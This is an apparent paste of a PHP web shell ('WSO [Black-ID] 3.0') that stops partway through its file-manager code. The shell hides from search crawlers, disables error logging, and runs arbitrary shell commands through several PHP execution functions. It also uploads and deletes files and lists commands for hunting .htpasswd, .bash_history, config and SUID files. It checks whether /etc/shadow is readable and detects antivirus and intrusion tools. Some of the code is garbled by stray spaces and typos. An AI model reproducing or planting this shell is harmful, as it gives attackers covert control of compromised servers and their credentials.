· 9 years ago · Aug 05, 2017, 08:10 PM
1
2
3<?php thepar0necho"<link rel='shortcut icon' href='http://www.dz-streaming.eu/favicon.ico'>
4
5 <style type='text/css'>
6 input[type=submit], input[type=button], input[type=reset]{
7 text-align:center;
8 background:url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
9 border:1px solid #4D4D4D;
10 color:#CCCCCC;
11 border-top-color:#565656;
12 padding:4px 6px;
13 margin:4px 5px;
14 height:16px;
15 -moz-box-shadow:0 0 1px black;
16 -webkit-box-shadow:0 0 1px black;
17 box-shadow:0 0 1px black;
18 text-shadow:0 1px black;
19 -moz-border-radius:4px;
20 -webkit-border-radius:4px;
21 -khtml-border-radius:4px;
22 border-radius:4px;
23 height:23px;
24}
25
26input[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover{
27 background-position:center top;
28 text-decoration:none;
29}
30input[type=text], input[type=password]{
31 background:urlhttp://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
32 border:1px solid #4D4D4D;
33 color:#CCCCCC;
34 border-top-color:#565656;
35 -moz-box-shadow:0 0 1px black;
36 -webkit-box-shadow:0 0 1px black;
37 box-shadow:0 0 1px black;
38 -moz-border-radius:4px;
39 -webkit-border-radius:4px;
40 -khtml-border-radius:4px;
41 border-radius:4px;
42 height:18px;
43 margin-left: 5px;
44}
45input , textarea , button , body , caption , table ,area , option {
46 outline:none;
47 transition: all 0.20s ease-in-out;
48 -webkit-transition: all 0.25s ease-in-out;
49 -moz-transition: all 0.25s ease-in-out;
50 border-radius:3px;
51 -webkit-border-radius:3px;
52 -moz-border-radius:3px;
53 border:1px solid rgba(0,0,0, 0.2);
54 /* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
55}
56input , textarea {
57 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
58}
59
60
61input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus {
62 box-shadow: 0 0 5px rgba(0, 0, 255, 1);
63 -webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
64 -moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
65
66 border: 1px solid #CCCC00;
67
68 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
69 overflow: auto;
70/* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
71}
72
73body{
74/* font-family : Verdana; */
75 color : #f9f6f1;
76 font-size : 0.7em;
77 background: url(http://i44.tinypic.com/i56tc9.jpg) no-repeat center top #252525;
78}
79input , textarea {
80 outline:none;
81 transition: all 0.20s ease-in-out;
82 -webkit-transition: all 0.25s ease-in-out;
83 -moz-transition: all 0.25s ease-in-out;
84 border-radius:3px;
85 -webkit-border-radius:3px;
86 -moz-border-radius:3px;
87 border:1px solid rgba(0,0,0, 0.2);
88}
89input:focus, textarea:focus {
90 outline: 0;
91 border-color: rgba(82, 168, 236, 0.8);
92 -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
93 -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
94 box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
95
96
97 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
98 overflow: auto;
99
100}
101
102
103 </style>
104 ";
105$_SESSION[$_SERVER['HTTP_HOST']] = true;
106$color = "#df5"; //Colour
107$default_action = "FilesMan";
108$default_charset = "Windows-1251";
109if (!empty($_SERVER['HTTP_USER_AGENT'])) {
110 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
111 foreach ($userAgents as $agent) if (strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false) {
112 header('HTTP/1.0 404 Not Found');
113 exit;
114 }
115}
116@session_start();
117@error_reporting(0);
118@ini_set('error_log', NULL);
119@ini_set('log_errors', 0);
120@ini_set('max_execution_time', 0);
121@set_time_limit(0);
122@set_magic_quotes_runtime(0);
123@define('VERSION', '3.0');
124if (get_magic_quotes_gpc()) {
125 function WSOstripslashes($array) {
126 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
127 }
128 $_POST = WSOstripslashes($_POST);
129}
130if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
131else $os = 'nix';
132$safe_mode = @ini_get('safe_mode');
133$disable_functions = @ini_get('disable_functions');
134$home_cwd = @getcwd();
135if (isset($_POST['c'])) @chdir($_POST['c']);
136$cwd = @getcwd();
137if ($os == 'win') {
138 $home_cwd = str_replace("\", " / ", $home_cwd);
139 $cwd = str_replace("\", " / ", $cwd);
140}
141if( $cwd[strlen($cwd) - 1] != '/' )
142 $cwd .= '/';
143
144if($os == 'win')
145 $aliases = array(
146 "ListDirectory" => "dir",
147 "Findindex . phpincurrentdir" => "dir / s / w / bindex . php",
148 "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php",
149 "Showactiveconnections" => "netstat - an",
150 "Showrunningservices" => "netstart",
151 "Useraccounts" => "netuser",
152 "Showcomputers" => "netview",
153 "ARPTable" => "arp - a",
154 "IPConfiguration" => "ipconfig / all"
155 );
156else
157 $aliases = array(
158 "Listdir" => "ls - lha",
159 "listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va",
160 "showopenedports" => "netstat - an | grep - ilisten",
161 "Find" => "",
162 "findallsuidfiles" => "find / -typef - perm - 04000 - ls",
163 "findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls",
164 "findallsgidfiles" => "find / -typef - perm - 02000 - ls",
165 "findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls",
166 "findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php",
167 "findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
168 function wsoHeader() {
169 if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
170 global $color;
171 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- WSO [Black-ID] " . VERSION . "</title>
172<style>
173body{background-color:#444;color:#e1e1e1;}
174body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
175table.info{ color:#fff;background-color:#222; }
176span,h1,a{ color: $color !important; }
177span{ font-weight: bolder; }
178h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
179div.content{ padding: 5px;margin-left:5px;background-color:#333; }
180a{ text-decoration:none; }
181a:hover{ text-decoration:underline; }
182.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
183.bigarea{ width:100%;height:250px; }
184input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
185form{ margin:0px; }
186#toolsTbl{ text-align:center; }
187.toolsInp{ width: 300px }
188.main th{text-align:left;background-color:#5e5e5e;}
189.main tr:hover{background-color:#5e5e5e}
190.l1{background-color:#444}
191pre{font-family:Courier,Monospace;}
192</style>
193<script>
194 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
195 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
196 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
197 var p1_ = '" . ((strpos(@$_POST['p1'], "
198") !== false) ? '' : addslashes(htmlspecialchars($_POST['p1']))) . "';
199 var p2_ = '" . ((strpos(@$_POST['p2'], "
200") !== false) ? '' : addslashes(htmlspecialchars(@$_POST['p2']))) . "';
201 var p3_ = '" . ((strpos(@$_POST['p3'], "
202") !== false) ? '' : addslashes(htmlspecialchars(@$_POST['p3']))) . "';
203 function set(a,c,p1,p2,p3,charset) {
204 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
205 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
206 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
207 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
208 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
209 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
210 }
211 function g(a,c,p1,p2,p3,charset) {
212 set(a,c,p1,p2,p3,charset);
213 document.mf.submit();
214 }
215 function a(a,c,p1,p2,p3,charset) {
216 set(a,c,p1,p2,p3,charset);
217 var params = 'ajax=true';
218 for(i=0;i<document.mf.elements.length;i++)
219 params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
220 sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
221 }
222 function sr(url, params) {
223 if (window.XMLHttpRequest)
224 req = new XMLHttpRequest();
225 else if (window.ActiveXObject)
226 req = new ActiveXObject('Microsoft.XMLHTTP');
227 if (req) {
228 req.onreadystatechange = processReqChange;
229 req.open('POST', url, true);
230 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
231 req.send(params);
232 }
233 }
234 function processReqChange() {
235 if( (req.readyState == 4) )
236 if(req.status == 200) {
237 var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
238 var arr=reg.exec(req.responseText);
239 eval(arr[2].substr(0, arr[1]));
240 } else alert('Request error!');
241 }
242</script>
243<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
244<form method=post name=mf style='display:none;'>
245<input type=hidden name=a>
246<input type=hidden name=c>
247<input type=hidden name=p1>
248<input type=hidden name=p2>
249<input type=hidden name=p3>
250<input type=hidden name=charset>
251</form>";
252 $freeSpace = @diskfreespace($GLOBALS['cwd']);
253 $totalSpace = @disk_total_space($GLOBALS['cwd']);
254 $totalSpace = $totalSpace ? $totalSpace : 1;
255 $release = @php_uname('r');
256 $kernel = @php_uname('s');
257 $exdblink = 'http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=';
258 if (strpos('Linux', $kernel) !== false) $exdblink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
259 else $exdblink.= urlencode($kernel . ' ' . substr($release, 0, 3));
260 if (!function_exists('posix_getegid')) {
261 $user = @get_current_user();
262 $uid = @getmyuid();
263 $gid = @getmygid();
264 $group = "?";
265 } else {
266 $uid = @posix_getpwuid(@posix_geteuid());
267 $gid = @posix_getgrgid(@posix_getegid());
268 $user = $uid['name'];
269 $uid = $uid['uid'];
270 $group = $gid['name'];
271 $gid = $gid['gid'];
272 }
273 $cwd_links = '';
274 $path = explode("/", $GLOBALS['cwd']);
275 $n = count($path);
276 for ($i = 0;$i < $n - 1;$i++) {
277 $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
278 for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
279 $cwd_links.= "\")'>" . $path[$i] . "/</a>";
280 }
281 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
282 $opt_charsets = '';
283 foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
284 $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Mass' => 'Mass', 'Domains' => 'Domain', 'Sql' => 'Sql', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Network' => 'Network');
285 $m['Self remove'] = 'SelfRemove';
286 $menu = '';
287 foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[<a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a>]</th>';
288 $drives = "";
289 if ($GLOBALS['os'] == 'win') {
290 foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\'))
291 $drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > ';
292 }
293 echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
294 '.($GLOBALS['os'] == 'win'?' < br > Drives:
295 ':'').' < / span > < / td > '.
296 ' < td > < nobr > '.substr(@php_uname(), 0, 120).' < ahref = "http://www.google.com/search?q='.urlencode(@php_uname()).'"target = "_blank" > [Google] < / a > < ahref = "'.$exdblink.'"target = _blank > [Exploit - DB] < / a > < / nobr > < br > '.$uid.'('.$user.') < span > Group: < / span > '.$gid.'('.$group.') < br > '.@phpversion().' < span > Safemode: < / span > '.($GLOBALS['safe_mode']?' < fontcolor = red > ON < / font > ':' < fontcolor = #00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
297 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '<br><a href="http://www.bing.com/search?q=ip:' . @$_SERVER["SERVER_ADDR"] . '" target=_blank>[ Bing ]</a> | <a href="http://www.zone-h.org/archive/ip=' . @$_SERVER["SERVER_ADDR"] . '" target=_blank>[ Zone-H ]</a><br></nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
298 }
299 function wsoFooter() {
300 $is_writable = is_writable($GLOBALS['cwd']) ? "<font color=green>[ Writeable ]</font>" : "<font color=red>[ Not writable ]</font>";
301 echo "
302</div>
303<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
304 <tr>
305 <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
306 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
307 </tr><tr>
308 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
309 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
310 </tr><tr>
311 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
312 <td><form method='post' ENCTYPE='multipart/form-data'>
313 <input type=hidden name=a value='FilesMAn'>
314 <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
315 <input type=hidden name=p1 value='uploadFile'>
316 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
317 <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
318 </tr></table></div></body></html>";
319 }
320 if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
321 function posix_getpwuid($p) {
322 return false;
323 }
324 }
325 if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
326 function posix_getgrgid($p) {
327 return false;
328 }
329 }
330 function wsoEx($in) {
331 $out = '';
332 if (function_exists('exec')) {
333 @exec($in, $out);
334 $out = @join("
335", $out);
336 } elseif (function_exists('passthru')) {
337 ob_start();
338 @passthru($in);
339 $out = ob_get_clean();
340 } elseif (function_exists('system')) {
341 ob_start();
342 @system($in);
343 $out = ob_get_clean();
344 } elseif (function_exists('shell_exec')) {
345 $out = shell_exec($in);
346 } elseif (is_resource($f = @popen($in, "r"))) {
347 $out = "";
348 while (!@feof($f)) $out.= fread($f, 1024);
349 pclose($f);
350 }
351 return $out;
352 }
353 function wsoViewSize($s) {
354 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
355 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
356 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
357 else return $s . ' B';
358 }
359 function wsoPerms($p) {
360 if (($p & 0xC000) == 0xC000) $i = 's';
361 elseif (($p & 0xA000) == 0xA000) $i = 'l';
362 elseif (($p & 0x8000) == 0x8000) $i = '-';
363 elseif (($p & 0x6000) == 0x6000) $i = 'b';
364 elseif (($p & 0x4000) == 0x4000) $i = 'd';
365 elseif (($p & 0x2000) == 0x2000) $i = 'c';
366 elseif (($p & 0x1000) == 0x1000) $i = 'p';
367 else $i = 'u';
368 $i.= (($p & 0x0100) ? 'r' : '-');
369 $i.= (($p & 0x0080) ? 'w' : '-');
370 $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
371 $i.= (($p & 0x0020) ? 'r' : '-');
372 $i.= (($p & 0x0010) ? 'w' : '-');
373 $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
374 $i.= (($p & 0x0004) ? 'r' : '-');
375 $i.= (($p & 0x0002) ? 'w' : '-');
376 $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
377 return $i;
378 }
379 function wsoPermsColor($f) {
380 if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
381 elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
382 else return '<font color=#00BB00>' . wsoPerms(@fileperms($f)) . '</font>';
383 }
384 if (!function_exists("scandir")) {
385 function scandir($dir) {
386 $dh = opendir($dir);
387 while (false !== ($filename = readdir($dh))) {
388 $files[] = $filename;
389 }
390 return $files;
391 }
392 }
393 function wsoWhich($p) {
394 $path = wsoEx('which ' . $p);
395 if (!empty($path)) return $path;
396 return false;
397 }
398 function actionSecInfo() {
399 wsoHeader();
400 echo '<h1>Server security information</h1><div class=content>';
401 function wsoSecParam($n, $v) {
402 $v = trim($v);
403 if ($v) {
404 echo '<span>' . $n . ': </span>';
405 if (strpos($v, "
406") === false) echo $v . '<br>';
407 else echo '<pre class=ml1>' . $v . '</pre>';
408 }
409 }
410 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
411 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
412 wsoSecParam('Open base dir', @ini_get('open_basedir'));
413 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
414 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
415 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
416 $temp = array();
417 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
418 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
419 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
420 if (function_exists('oci_connect')) $temp[] = "Oracle";
421 wsoSecParam('Supported databases', implode(', ', $temp));
422 echo '<br>';
423 if ($GLOBALS['os'] == 'nix') {
424 $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
425 $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
426 $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
427 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
428 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>" : 'no');
429 wsoSecParam('OS version', @file_get_contents('/proc/version'));
430 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
431 if (!$GLOBALS['safe_mode']) {
432 echo '<br>';
433 $temp = array();
434 foreach ($userful as $item) if (wsoWhich($item)) {
435 $temp[] = $item;
436 }
437 wsoSecParam('Userful', implode(', ', $temp));
438 $temp = array();
439 foreach ($danger as $item) if (wsoWhich($item)) {
440 $temp[] = $item;
441 }
442 wsoSecParam('Danger', implode(', ', $temp));
443 $temp = array();
444 foreach ($downloaders as $item) if (wsoWhich($item)) {
445 $temp[] = $item;
446 }
447 wsoSecParam('Downloaders', implode(', ', $temp));
448 echo '<br/>';
449 wsoSecParam('HDD space', wsoEx('df -h'));
450 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
451 }
452 } else {
453 wsoSecParam('OS Version', wsoEx('ver'));
454 wsoSecParam('Account Settings', wsoEx('net accounts'));
455 wsoSecParam('User Accounts', wsoEx('net user'));
456 }
457 echo '</div>';
458 wsoFooter();
459 }
460 function actionFilesMan() {
461 wsoHeader();
462 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
463 if (!empty($_POST['p1'])) {
464 switch ($_POST['p1']) {
465 case 'uploadFile':
466 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
467 break;
468 case 'mkdir':
469 if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
470 break;
471 case 'delete':
472 function deleteDir($path) {
473 $path = (substr($path, -1) == '/') ? $path : $path . '/';
474 $dh = opendir($path);
475 while (($item = readdir($dh)) !== false) {
476 $item = $path . $item;
477 if ((basename($item) == "..") || (basename($item) == ".")) continue;
478 $type = filetype($item);
479 if ($type == "dir") deleteDir($item);
480 else @unlink($item);
481 }
482 closedir($dh);
483 rmdir($path);
484 }
485 if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
486 $f = urldecode($f);
487 if (is_dir($f)) deleteDir($f);
488 else @unlink($f);
489 }
490 break;
491 case 'paste':
492 if ($_SESSION['act'] == 'copy') {
493 function copy_paste($c, $s, $d) {
494 if (is_dir($c . $s)) {
495 mkdir($d . $s);
496 $h = @opendir($c . $s);
497 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) {
498 copy_paste($c . $s . '/', $f, $d . $s . '/');
499 }
500 } elseif (is_file($c . $s)) {
501 @copy($c . $s, $d . $s);
502 }
503 }
504 foreach ($_SESSION['f'] as $f) copy_paste($_SESSION['c'], $f, $GLOBALS['cwd']);
505 } elseif ($_SESSION['act'] == 'move') {
506 function move_paste($c, $s, $d) {
507 if (is_dir($c . $s)) {
508 mkdir($d . $s);
509 $h = @opendir($c . $s);
510 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) {
511 copy_paste($c . $s . '/', $f, $d . $s . '/');
512 }
513 } elseif (@is_file($c . $s)) {
514 @copy($c . $s, $d . $s);
515 }
516 }
517 foreach ($_SESSION['f'] as $f) @rename($_SESSION['c'] . $f, $GLOBALS['cwd'] . $f);
518 } elseif ($_SESSION['act'] == 'zip') {
519 if (class_exists('ZipArchive')) {
520 $zip = new ZipArchive();
521 if ($zip->open('wso_' . date("Ymd_His") . '.zip', (int)eval('return ZIPARCHIVE::CREATE;'))) {
522 chdir($_SESSION['c']);
523 foreach ($_SESSION['f'] as $f) {
524 if (@is_file($_SESSION['c'] . $f)) $zip->addFile($_SESSION['c'] . $f, $f);
525 elseif (@is_dir($_SESSION['c'] . $f)) {
526 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
527 foreach ($iterator as $key => $value) {
528 $zip->addFile(realpath($key), $key);
529 }
530 }
531 }
532 chdir($GLOBALS['cwd']);
533 $zip->close();
534 }
535 }
536 } elseif ($_SESSION['act'] == 'unzip') {
537 if (class_exists('ZipArchive')) {
538 $zip = new ZipArchive();
539 foreach ($_SESSION['f'] as $f) {
540 if ($zip->open($_SESSION['c'] . $f)) {
541 $zip->extractTo($GLOBALS['cwd']);
542 $zip->close();
543 }
544 }
545 }
546 }
547 unset($_SESSION['f']);
548 break;
549 default:
550 if (!empty($_POST['p1']) && (($_POST['p1'] == 'copy') || ($_POST['p1'] == 'move') || ($_POST['p1'] == 'zip') || ($_POST['p1'] == 'unzip'))) {
551 $_SESSION['act'] = @$_POST['p1'];
552 $_SESSION['f'] = @$_POST['f'];
553 foreach ($_SESSION['f'] as $k => $f) $_SESSION['f'][$k] = urldecode($f);
554 $_SESSION['c'] = @$_POST['c'];
555 }
556 break;
557 }
558 }
559 $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
560 if ($dirContent === false) {
561 echo 'Can\'t open this folder!';
562 wsoFooter();
563 return;
564 }
565 global $sort;
566 $sort = array('name', 1);
567 if (!empty($_POST['p1'])) {
568 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
569 }
570 echo "<script>
571 function sa() {
572 for(i=0;i<document.files.elements.length;i++)
573 if(document.files.elements[i].type == 'checkbox')
574 document.files.elements[i].checked = document.files.elements[0].checked;
575 }
576</script>
577<table width='100%' class='main' cellspacing='0' cellpadding='2'>
578<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
579 $dirs = $files = array();
580 $n = count($dirContent);
581 for ($i = 0;$i < $n;$i++) {
582 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
583 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
584 $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
585 if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
586 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link'));
587 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir'));
588 }
589 $GLOBALS['sort'] = $sort;
590 function wsoCmp($a, $b) {
591 if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
